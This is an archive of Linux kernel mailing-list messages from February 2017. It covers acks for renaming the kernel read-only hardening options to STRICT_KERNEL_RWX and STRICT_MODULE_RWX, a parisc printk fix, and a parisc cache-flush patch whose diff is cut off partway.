        by e06smtp06.uk.ibm.com (192.168.101.136) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
        Tue, 7 Feb 2017 11:42:15 -0000
Original-Received: from b06cxnps3075.portsmouth.uk.ibm.com (d06relay10.portsmouth.uk.ibm.com [9.149.109.195])
        by d06dlp02.portsmouth.uk.ibm.com (Postfix) with ESMTP id A6C102190019;
        Tue,  7 Feb 2017 11:41:18 +0000 (GMT)
Original-Received: from d06av24.portsmouth.uk.ibm.com (d06av24.portsmouth.uk.ibm.com [9.149.105.60])
        by b06cxnps3075.portsmouth.uk.ibm.com (8.14.9/8.14.9/NCO v10.0) with ESMTP id v17BgEg68257938;
        Tue, 7 Feb 2017 11:42:14 GMT
Original-Received: from d06av24.portsmouth.uk.ibm.com (unknown [127.0.0.1])
        by IMSVA (Postfix) with ESMTP id E7E6E42049;
        Tue,  7 Feb 2017 11:42:09 +0000 (GMT)
Original-Received: from d06av24.portsmouth.uk.ibm.com (unknown [127.0.0.1])
        by IMSVA (Postfix) with ESMTP id B2C184204D;
        Tue,  7 Feb 2017 11:42:08 +0000 (GMT)
Original-Received: from osiris (unknown [9.164.182.229])
        by d06av24.portsmouth.uk.ibm.com (Postfix) with ESMTPS;
        Tue,  7 Feb 2017 11:42:08 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <1486427518-14819-2-git-send-email-labbott@redhat.com>
X-TM-AS-GCONF: 00
X-Content-Scanned: Fidelis XPS MAILER
x-cbid: 17020711-0024-0000-0000-000002B0AB5E
X-IBM-AV-DETECTION: SAVI=unused REMOTE=unused XFE=unused
x-cbparentid: 17020711-0025-0000-0000-0000225105CF
X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10432:,, definitions=2017-02-07_07:,,
 signatures=0
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0 spamscore=0 suspectscore=0
 malwarescore=0 phishscore=0 adultscore=0 bulkscore=0 classifier=spam
 adjust=0 reason=mlx scancount=1 engine=8.0.1-1612050000
 definitions=main-1702070115
Original-Sender: linux-pm-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-pm.vger.kernel.org>
X-Mailing-List: linux-pm@vger.kernel.org
Xref: news.gmane.org gmane.linux.power-management.general:86259 gmane.linux.documentation:44764 gmane.linux.kernel:2405386 gmane.linux.ports.arm.kernel:557422 gmane.linux.ports.parisc:27269 gmane.linux.kernel.hardened.devel:5519
Archived-At: <http://permalink.gmane.org/gmane.linux.power-management.general/86259>

On Mon, Feb 06, 2017 at 04:31:57PM -0800, Laura Abbott wrote:
> 
> There are multiple architectures that support CONFIG_DEBUG_RODATA and
> CONFIG_SET_MODULE_RONX. These options also now have the ability to be
> turned off at runtime. Move these to an architecture independent
> location and make these options def_bool y for almost all of those
> arches.
> 
> Signed-off-by: Laura Abbott <labbott@redhat.com>
> ---
> v3: Make these configs selectable for arm. Include some documentation about
> how the setup of the optional Kconfigs work as well. Stop spelling 'kenrel'
> in prompt text.
> ---
>  Documentation/security/self-protection.txt |  6 ++++++
>  arch/Kconfig                               | 34 ++++++++++++++++++++++++++++++
>  arch/arm/Kconfig                           |  4 ++++
>  arch/arm/Kconfig.debug                     | 11 ----------
>  arch/arm/mm/Kconfig                        | 12 -----------
>  arch/arm64/Kconfig                         |  5 ++---
>  arch/arm64/Kconfig.debug                   | 11 ----------
>  arch/parisc/Kconfig                        |  1 +
>  arch/parisc/Kconfig.debug                  | 11 ----------
>  arch/s390/Kconfig                          |  5 ++---
>  arch/s390/Kconfig.debug                    |  3 ---
>  arch/x86/Kconfig                           |  5 ++---
>  arch/x86/Kconfig.debug                     | 11 ----------
>  13 files changed, 51 insertions(+), 68 deletions(-)

For the s390 bits:

Acked-by: Heiko Carstens <heiko.carstens@de.ibm.com>

--
To unsubscribe from this list: send the line "unsubscribe linux-pm" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Jessica Yu <jeyu@redhat.com>
Newsgroups: gmane.linux.kernel.hardened.devel,gmane.linux.documentation,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.power-management.general
Subject: Re: arch: Rename CONFIG_DEBUG_RODATA and CONFIG_DEBUG_MODULE_RONX
Date: Tue, 7 Feb 2017 11:25:05 -0800
Lines: 42
Approved: news@gmane.org
Message-ID: <20170207192505.m5gg6rtqgbbwtwa4@jeyu>
References: <1486427518-14819-1-git-send-email-labbott@redhat.com>
 <1486427518-14819-3-git-send-email-labbott@redhat.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
X-Trace: blaine.gmane.org 1486495523 25656 195.159.176.226 (7 Feb 2017 19:25:23 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 7 Feb 2017 19:25:23 +0000 (UTC)
User-Agent: NeoMutt/20161126 (1.7.1)
Cc: Kees Cook <keescook@chromium.org>,
        Jason Wessel <jason.wessel@windriver.com>,
        Jonathan Corbet <corbet@lwn.net>, Russell King <linux@armlinux.org.uk>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Thomas Gleixner <tglx@linutronix.de>, Ingo Molnar <mingo@redhat.com>,
        "H. Peter Anvin" <hpa@zytor.com>, x86@kernel.org,
        Rob Herring <robh@kernel.org>, "Rafael J. Wysocki" <rjw@rjwysocki.net>,
        Len Brown <len.brown@intel.com>, Pavel Machek <pavel@ucw.cz>,
        Mark Rutland <mark.rutland@arm.com>, linux-doc@vger.kernel.org,
        linux-kernel@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
To: Laura Abbott <labbott@redhat.com>
Original-X-From: kernel-hardening-return-6376-glkh-kernel-hardening=m.gmane.org@lists.openwall.com Tue Feb 07 20:25:17 2017
Return-path: <kernel-hardening-return-6376-glkh-kernel-hardening=m.gmane.org@lists.openwall.com>
Envelope-to: glkh-kernel-hardening@m.gmane.org
Original-Received: from mother.openwall.net ([195.42.179.200])
	by blaine.gmane.org with smtp (Exim 4.84_2)
	(envelope-from <kernel-hardening-return-6376-glkh-kernel-hardening=m.gmane.org@lists.openwall.com>)
	id 1cbBO8-0006MA-R5
	for glkh-kernel-hardening@m.gmane.org; Tue, 07 Feb 2017 20:25:16 +0100
Original-Received: (qmail 5701 invoked by uid 550); 7 Feb 2017 19:25:21 -0000
Mailing-List: contact kernel-hardening-help@lists.openwall.com; run by ezmlm
Precedence: bulk
List-Post: <mailto:kernel-hardening@lists.openwall.com>
List-Help: <mailto:kernel-hardening-help@lists.openwall.com>
List-Unsubscribe: <mailto:kernel-hardening-unsubscribe@lists.openwall.com>
List-Subscribe: <mailto:kernel-hardening-subscribe@lists.openwall.com>
List-ID: <kernel-hardening.lists.openwall.com>
Delivered-To: mailing list kernel-hardening@lists.openwall.com
Original-Received: (qmail 5663 invoked from network); 7 Feb 2017 19:25:19 -0000
Content-Disposition: inline
In-Reply-To: <1486427518-14819-3-git-send-email-labbott@redhat.com>
X-OS: Linux jeyu 4.7.6-100.fc23.x86_64+debug x86_64
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16 (mx1.redhat.com [10.5.110.30]); Tue, 07 Feb 2017 19:25:09 +0000 (UTC)
Xref: news.gmane.org gmane.linux.kernel.hardened.devel:5529 gmane.linux.documentation:44776 gmane.linux.kernel:2405832 gmane.linux.ports.arm.kernel:557589 gmane.linux.ports.parisc:27270 gmane.linux.power-management.general:86284
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.hardened.devel/5529>

+++ Laura Abbott [06/02/17 16:31 -0800]:
>Both of these options are poorly named. The features they provide are
>necessary for system security and should not be considered debug only.
>Change the names to CONFIG_STRICT_KERNEL_RWX and
>CONFIG_STRICT_MODULE_RWX to better describe what these options do.
>
>Signed-off-by: Laura Abbott <labbott@redhat.com>
>---
>v3: Minor config text tweek per Kees. Corrected the change of config names in
>the arm config files.
>---
> Documentation/DocBook/kgdb.tmpl            | 8 ++++----
> Documentation/security/self-protection.txt | 4 ++--
> arch/Kconfig                               | 4 ++--
> arch/arm/configs/aspeed_g4_defconfig       | 4 ++--
> arch/arm/configs/aspeed_g5_defconfig       | 4 ++--
> arch/arm/include/asm/cacheflush.h          | 2 +-
> arch/arm/kernel/patch.c                    | 4 ++--
> arch/arm/kernel/vmlinux.lds.S              | 8 ++++----
> arch/arm/mm/Kconfig                        | 2 +-
> arch/arm/mm/init.c                         | 4 ++--
> arch/arm64/Kconfig.debug                   | 2 +-
> arch/arm64/kernel/insn.c                   | 2 +-
> arch/parisc/configs/712_defconfig          | 1 -
> arch/parisc/configs/c3000_defconfig        | 1 -
> arch/parisc/mm/init.c                      | 2 +-
> include/linux/filter.h                     | 4 ++--
> include/linux/init.h                       | 4 ++--
> include/linux/module.h                     | 2 +-
> init/main.c                                | 4 ++--
> kernel/configs/android-recommended.config  | 2 +-
> kernel/module.c                            | 6 +++---
> kernel/power/hibernate.c                   | 2 +-
> kernel/power/power.h                       | 4 ++--
> kernel/power/snapshot.c                    | 4 ++--
> 24 files changed, 41 insertions(+), 43 deletions(-)

For the module.{c,h} bits:

Acked-by: Jessica Yu <jeyu@redhat.com>



From - Thu Nov 08 21:39:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Kees Cook <keescook@chromium.org>
Newsgroups: gmane.linux.kernel.hardened.devel,gmane.linux.documentation,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.power-management.general
Subject: Re: [PATCHv3 0/2] Hardening configs refactor/rename
Date: Tue, 7 Feb 2017 13:06:22 -0800
Lines: 73
Approved: news@gmane.org
Message-ID: <CAGXu5jKrUOhpvBye6TeZ38Rw28iZtXRNWuBd7DVBKUHYvq5H_Q@mail.gmail.com>
References: <1486427518-14819-1-git-send-email-labbott@redhat.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: blaine.gmane.org 1486501599 18963 195.159.176.226 (7 Feb 2017 21:06:39 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 7 Feb 2017 21:06:39 +0000 (UTC)
Cc: Jason Wessel <jason.wessel@windriver.com>, Jonathan Corbet <corbet@lwn.net>, 
	Russell King <linux@armlinux.org.uk>, Catalin Marinas <catalin.marinas@arm.com>, 
	Will Deacon <will.deacon@arm.com>, "James E.J. Bottomley" <jejb@parisc-linux.org>, 
	Helge Deller <deller@gmx.de>, Martin Schwidefsky <schwidefsky@de.ibm.com>, 
	Heiko Carstens <heiko.carstens@de.ibm.com>, Thomas Gleixner <tglx@linutronix.de>, 
	Ingo Molnar <mingo@redhat.com>, "H. Peter Anvin" <hpa@zytor.com>, "x86@kernel.org" <x86@kernel.org>, 
	Rob Herring <robh@kernel.org>, "Rafael J. Wysocki" <rjw@rjwysocki.net>, Len Brown <len.brown@intel.com>, 
	Pavel Machek <pavel@ucw.cz>, Mark Rutland <mark.rutland@arm.com>, Jessica Yu <jeyu@redhat.com>, 
	"linux-doc@vger.kernel.org" <linux-doc@vger.kernel.org>, LKML <linux-kernel@vger.kernel.org>, 
	"linux-arm-kernel@lists.infradead.org" <linux-arm-kernel@lists.infradead.org>, 
	lin
To: Laura Abbott <labbott@redhat.com>
Original-X-From: kernel-hardening-return-6377-glkh-kernel-hardening=m.gmane.org@lists.openwall.com Tue Feb 07 22:06:32 2017
Return-path: <kernel-hardening-return-6377-glkh-kernel-hardening=m.gmane.org@lists.openwall.com>
Envelope-to: glkh-kernel-hardening@m.gmane.org
Original-Received: from mother.openwall.net ([195.42.179.200])
	by blaine.gmane.org with smtp (Exim 4.84_2)
	(envelope-from <kernel-hardening-return-6377-glkh-kernel-hardening=m.gmane.org@lists.openwall.com>)
	id 1cbCy8-0004X3-7Z
	for glkh-kernel-hardening@m.gmane.org; Tue, 07 Feb 2017 22:06:32 +0100
Original-Received: (qmail 9864 invoked by uid 550); 7 Feb 2017 21:06:35 -0000
Mailing-List: contact kernel-hardening-help@lists.openwall.com; run by ezmlm
Precedence: bulk
List-Post: <mailto:kernel-hardening@lists.openwall.com>
List-Help: <mailto:kernel-hardening-help@lists.openwall.com>
List-Unsubscribe: <mailto:kernel-hardening-unsubscribe@lists.openwall.com>
List-Subscribe: <mailto:kernel-hardening-subscribe@lists.openwall.com>
List-ID: <kernel-hardening.lists.openwall.com>
Delivered-To: mailing list kernel-hardening@lists.openwall.com
Original-Received: (qmail 9844 invoked from network); 7 Feb 2017 21:06:35 -0000
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20161025;
        h=mime-version:sender:in-reply-to:references:from:date:message-id
         :subject:to:cc;
        bh=gIE+QHsBfwMnkyPnxpIzk++m13KREJ3xZOgu780U+RA=;
        b=gipHk4iepyLGTv3+jbzM6koWDwOiHY8FXpxRYhTtGKfgssjW4o4guX1CpKhU1qashc
         uk7/jYPaPrWWSpYDtCr3Pt3MSHfwUzt73p023NAE0Zjio0wUyDk9nOHeR5G0/4u3H76N
         VvouEZO6ku++zXWTo9nP8gb1Wb2rj7DqAtbMU6QBUBamX9eY3r4Rbyuf5mOBH2TbGYhP
         VHNS5kbGyFSh2WePOSbWoEHxq9ASII9N4KtKKDfn5UlxW8Aie535FoFUix/eyGoNZDH4
         2Wp/EBoUY6WfskkQxqm04kGvKFC4rKcWXfMtagDhDnN5lJmbFnv9CtcDb1SDj9A86ww/
         hayw==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=chromium.org; s=google;
        h=mime-version:sender:in-reply-to:references:from:date:message-id
         :subject:to:cc;
        bh=gIE+QHsBfwMnkyPnxpIzk++m13KREJ3xZOgu780U+RA=;
        b=jV1gWuXMNxQnYyMx7FJs8SoLCUWaxhW2+IJ04IapNn0hSQhfP6kebA3HOEz8XVEbAw
         HQxTUnbboIrdsGtq+DsqskN+FB5fbVTZgTddwwSPNn8wawKbKUM6dUkv8zXSxGSq1bOW
         IOZXd6Tnkv3H4YZWEq4K2d48537sQdE/3wB5o=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
         :date:message-id:subject:to:cc;
        bh=gIE+QHsBfwMnkyPnxpIzk++m13KREJ3xZOgu780U+RA=;
        b=i37OkQZfz8mkM8t9apP/aAumqLsa4XA7bKWX7pnjLmhpd47DIHQ9WQkwuzuv8KqUBV
         h9glYssk2I9R2xoVnjTcezhPlAWmlDnNTru/bvwAUS75pOA2p/gEFTJQ1wWhaIA5eKjq
         fRwWWIKzy9YlYmxM+LA3/L/ocLHT+ElA5iG4Kga5uRbbm0hDSJ8Sd+xgdYLcxn+EthFx
         PyPAPknPjCF5gs0pM1cc/n/w+9dplqvR0TxNrCqW5oWoXBGHM49Xt3r3AOkp92Tpc3cE
         lT36Urb+HeiTHMpB9DW/8WAHqhMV6lMFTwlVL3u7JSOP2r4jEqesDMfoFsI/8fpqy/WY
         tbPQ==
X-Gm-Message-State: AIkVDXKvE8vfiRD7MaTug9SrtFbSPNtv4/UPCvPi9kr60MvfjnhnRm3z1wcFRTa0M/XLfDXoKQdXv8JbCkm8x3YW
X-Received: by 10.36.254.66 with SMTP id w63mr14046000ith.28.1486501582964;
 Tue, 07 Feb 2017 13:06:22 -0800 (PST)
Original-Sender: keescook@google.com
In-Reply-To: <1486427518-14819-1-git-send-email-labbott@redhat.com>
X-Google-Sender-Auth: cvgSpDoAlNQDWnkN_hxX9tPHHl8
Xref: news.gmane.org gmane.linux.kernel.hardened.devel:5530 gmane.linux.documentation:44778 gmane.linux.kernel:2405916 gmane.linux.ports.arm.kernel:557614 gmane.linux.ports.parisc:27271 gmane.linux.power-management.general:86286
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.hardened.devel/5530>

On Mon, Feb 6, 2017 at 4:31 PM, Laura Abbott <labbott@redhat.com> wrote:
> Hi,
>
> This is v3 of my series to rename/refactor CONFIG_DEBUG_RODATA
> and CONFIG_DEBUG_SET_MODULE_RONX. Among other objections, there shouldn't
> be 'debug' in the name since these provide necessary kernel protection.
>
> v3 mostly focuses on changing how the Kconfig dependencies work for the
> refactor. Russell King requested that these options be deselectable for arm.
> I also threw in some documentation on this under kernel hardening in case other
> arches decide to follow suit.
>
> The plan is for this to go through the KSPP tree so if people are okay with
> this, please give Acks. I didn't take Mark Rutland's ack from before since
> there's been a bit of refactoring.

Thanks! I've added this to my KSPP -next tree. It should appear shortly...

-Kees

>
> Thanks,
> Laura
>
> Laura Abbott (2):
>   arch: Move CONFIG_DEBUG_RODATA and CONFIG_SET_MODULE_RONX to be common
>   arch: Rename CONFIG_DEBUG_RODATA and CONFIG_DEBUG_MODULE_RONX
>
>  Documentation/DocBook/kgdb.tmpl            |  8 +++----
>  Documentation/security/self-protection.txt | 10 +++++++--
>  arch/Kconfig                               | 34 ++++++++++++++++++++++++++++++
>  arch/arm/Kconfig                           |  4 ++++
>  arch/arm/Kconfig.debug                     | 11 ----------
>  arch/arm/configs/aspeed_g4_defconfig       |  4 ++--
>  arch/arm/configs/aspeed_g5_defconfig       |  4 ++--
>  arch/arm/include/asm/cacheflush.h          |  2 +-
>  arch/arm/kernel/patch.c                    |  4 ++--
>  arch/arm/kernel/vmlinux.lds.S              |  8 +++----
>  arch/arm/mm/Kconfig                        | 14 +-----------
>  arch/arm/mm/init.c                         |  4 ++--
>  arch/arm64/Kconfig                         |  5 ++---
>  arch/arm64/Kconfig.debug                   | 13 +-----------
>  arch/arm64/kernel/insn.c                   |  2 +-
>  arch/parisc/Kconfig                        |  1 +
>  arch/parisc/Kconfig.debug                  | 11 ----------
>  arch/parisc/configs/712_defconfig          |  1 -
>  arch/parisc/configs/c3000_defconfig        |  1 -
>  arch/parisc/mm/init.c                      |  2 +-
>  arch/s390/Kconfig                          |  5 ++---
>  arch/s390/Kconfig.debug                    |  3 ---
>  arch/x86/Kconfig                           |  5 ++---
>  arch/x86/Kconfig.debug                     | 11 ----------
>  include/linux/filter.h                     |  4 ++--
>  include/linux/init.h                       |  4 ++--
>  include/linux/module.h                     |  2 +-
>  init/main.c                                |  4 ++--
>  kernel/configs/android-recommended.config  |  2 +-
>  kernel/module.c                            |  6 +++---
>  kernel/power/hibernate.c                   |  2 +-
>  kernel/power/power.h                       |  4 ++--
>  kernel/power/snapshot.c                    |  4 ++--
>  33 files changed, 90 insertions(+), 109 deletions(-)
>
> --
> 2.7.4
>



-- 
Kees Cook
Pixel Security


From - Thu Nov 08 21:39:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Dan Carpenter <dan.carpenter@oracle.com>
Newsgroups: gmane.linux.kernel.janitors,gmane.linux.ports.parisc
Subject: [patch] parisc: fix a printk
Date: Wed, 8 Feb 2017 10:20:35 +0300
Lines: 25
Approved: news@gmane.org
Message-ID: <20170208072034.GA12756@mwanda>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1486538682 28700 195.159.176.226 (8 Feb 2017 07:24:42 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 8 Feb 2017 07:24:42 +0000 (UTC)
User-Agent: Mutt/1.6.0 (2016-04-01)
Cc: Andrew Morton <akpm@linux-foundation.org>,
        "Kirill A. Shutemov" <kirill.shutemov@linux.intel.com>,
        Paul Gortmaker <paul.gortmaker@windriver.com>,
        linux-parisc@vger.kernel.org, kernel-janitors@vger.kernel.org
To: "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>
Original-X-From: kernel-janitors-owner@vger.kernel.org Wed Feb 08 08:24:38 2017
Return-path: <kernel-janitors-owner@vger.kernel.org>
Envelope-to: glkj-kernel-janitors-2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <kernel-janitors-owner@vger.kernel.org>)
	id 1cbMcG-0006uY-9K
	for glkj-kernel-janitors-2@m.gmane.org; Wed, 08 Feb 2017 08:24:36 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932135AbdBHHYl (ORCPT
        <rfc822;glkj-kernel-janitors-2@m.gmane.org>);
        Wed, 8 Feb 2017 02:24:41 -0500
Original-Received: from userp1050.oracle.com ([156.151.31.82]:35584 "EHLO
        userp1050.oracle.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1753425AbdBHHYg (ORCPT
        <rfc822;kernel-janitors@vger.kernel.org>);
        Wed, 8 Feb 2017 02:24:36 -0500
Original-Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81])
        by userp1050.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id v187NaVB018165
        (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
        Wed, 8 Feb 2017 07:23:36 GMT
Original-Received: from userv0021.oracle.com (userv0021.oracle.com [156.151.31.71])
        by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id v187LTcF007117
        (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
        Wed, 8 Feb 2017 07:21:29 GMT
Original-Received: from aserv0121.oracle.com (aserv0121.oracle.com [141.146.126.235])
        by userv0021.oracle.com (8.14.4/8.14.4) with ESMTP id v187LSa2025827
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
        Wed, 8 Feb 2017 07:21:28 GMT
Original-Received: from abhmp0017.oracle.com (abhmp0017.oracle.com [141.146.116.23])
        by aserv0121.oracle.com (8.13.8/8.13.8) with ESMTP id v187LPxn008802;
        Wed, 8 Feb 2017 07:21:26 GMT
Original-Received: from mwanda (/154.0.138.2)
        by default (Oracle Beehive Gateway v4.0)
        with ESMTP ; Tue, 07 Feb 2017 23:21:24 -0800
Content-Disposition: inline
X-Source-IP: userp1040.oracle.com [156.151.31.81]
Original-Sender: kernel-janitors-owner@vger.kernel.org
Precedence: bulk
List-ID: <kernel-janitors.vger.kernel.org>
X-Mailing-List: kernel-janitors@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.janitors:42372 gmane.linux.ports.parisc:27272
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.janitors/42372>

We want to do a pr_cont() here and not a pr_warn().

Fixes: b391667eb45a ("parisc: Report trap type as human readable string")
Signed-off-by: Dan Carpenter <dan.carpenter@oracle.com>

diff --git a/arch/parisc/mm/fault.c b/arch/parisc/mm/fault.c
index 1a0b4f63f0e9..c3f8d34a11cf 100644
--- a/arch/parisc/mm/fault.c
+++ b/arch/parisc/mm/fault.c
@@ -238,8 +238,8 @@ show_signal_msg(struct pt_regs *regs, unsigned long code,
 		vma ? ',':'\n');
 
 	if (vma)
-		pr_warn(KERN_CONT " vm_start = 0x%08lx, vm_end = 0x%08lx\n",
-				vma->vm_start, vma->vm_end);
+		pr_cont(" vm_start = 0x%08lx, vm_end = 0x%08lx\n",
+			vma->vm_start, vma->vm_end);
 
 	show_regs(regs);
 }
--
To unsubscribe from this list: send the line "unsubscribe kernel-janitors" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Fix random faults caused by inequivalent aliases
Date: Sat, 11 Feb 2017 15:33:41 -0500
Lines: 162
Approved: news@gmane.org
Message-ID: <C371FD1B-0A52-4280-A017-2188E58CC866@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: multipart/mixed; boundary=Apple-Mail-62--415602971
X-Trace: blaine.gmane.org 1486845225 13579 195.159.176.226 (11 Feb 2017 20:33:45 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 11 Feb 2017 20:33:45 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
        James Bottomley <James.Bottomley@HansenPartnership.com>
To: "linux-parisc@vger.kernel.org List" <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Feb 11 21:33:39 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cceMU-0001oC-8e
	for glpp-linux-parisc@m.gmane.org; Sat, 11 Feb 2017 21:33:38 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1750999AbdBKUdo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 11 Feb 2017 15:33:44 -0500
Original-Received: from simcoe208srvr.owm.bell.net ([184.150.200.208]:36152 "EHLO
        torfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1750968AbdBKUdn (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 11 Feb 2017 15:33:43 -0500
Original-Received: from bell.net torfep02 184.150.200.158 by torfep02.bell.net
          with ESMTP
          id <20170211203342.CLVQ24045.torfep02.bell.net@torspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sat, 11 Feb 2017 15:33:42 -0500
Original-Received: from [192.168.2.10] (really [174.91.91.98]) by torspm02.bell.net
          with ESMTP
          id <20170211203342.LJJT8282.torspm02.bell.net@[192.168.2.10]>;
          Sat, 11 Feb 2017 15:33:42 -0500
X-Mailer: Apple Mail (2.1085)
X-Cloudmark-Analysis: v=2.2 cv=BLlclBYG c=1 sm=0 tr=0 a=TtiWKAa0zRZPSxrq3ipeaA==:17 a=n2v9WMKugxEA:10 a=FBHGMhGWAAAA:8 a=6iyAWLKOUUcGGEhxm44A:9 a=CjuIK1q_8ugA:10 a=MHb3pKt3NW1GyxN0rqYA:9 a=Ld372NDzu18A:10 a=CTwWI_8SlGQyalyz8_QA:9 a=ATlVsGG5QSsA:10 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27273
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27273>


--Apple-Mail-62--415602971
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain;
	charset=us-ascii

The attached patch fixes various random faults mainly observed doing gcc =
compilations.  These faults
are not reproducible.  They are only seen on machines with PA8800 and =
PA8900 processors.  This
strongly suggests the faults are caused by inequivalent aliases.

The kernel sets up vmap non-equivalent memory regions to do I/O.  These =
regions are not equivalently
mapped to the offset pages.  Thus, they might be the cause of the random =
memory corruption.

There are two routines, flush_kernel_vmap_range() and =
invalidate_kernel_vmap_range(), that flush and
invalidate kernel vmap ranges.  After a lot of testing, I found the =
following:

1) PG_dcache_dirty is never set on the offset map pages used by =
invalidate_kernel_vmap_range.  So,
    the for loop never flushes pages in the offset map.  PG_dcache_dirty =
doesn't really indicate a dirty page.
    It indicates that flush for the page is deferred.
2) vmalloc_to_page() can return NULL but it never happens.
3) We need to flush the offset map in both flush_kernel_vmap_range() and =
invalidate_kernel_vmap_range().

I moved the routines from cacheflush.h to cache.c.  This provides access =
to parisc_cache_flush_threshold
and flush_data_cache().  The routines now flush the entire data cache if =
the size of the vmap region exceeds
an appropriate threshold.  This should speed up these routines on small =
cache machines.

Signed-off-by: John David Anglin <dave.anglin@bell.net>


--Apple-Mail-62--415602971
Content-Disposition: attachment;
	filename=kernel_vmap_range.d.txt
Content-Type: text/plain;
	name="kernel_vmap_range.d.txt"
Content-Transfer-Encoding: quoted-printable

diff --git a/arch/parisc/include/asm/cacheflush.h =
b/arch/parisc/include/asm/cacheflush.h
index 7bd69bd43a01..1d8c24dc04d4 100644
--- a/arch/parisc/include/asm/cacheflush.h
+++ b/arch/parisc/include/asm/cacheflush.h
@@ -45,28 +45,9 @@ static inline void flush_kernel_dcache_page(struct =
page *page)
=20
 #define flush_kernel_dcache_range(start,size) \
 	flush_kernel_dcache_range_asm((start), (start)+(size));
-/* vmap range flushes and invalidates.  Architecturally, we don't need
- * the invalidate, because the CPU should refuse to speculate once an
- * area has been flushed, so invalidate is left empty */
-static inline void flush_kernel_vmap_range(void *vaddr, int size)
-{
-	unsigned long start =3D (unsigned long)vaddr;
-
-	flush_kernel_dcache_range_asm(start, start + size);
-}
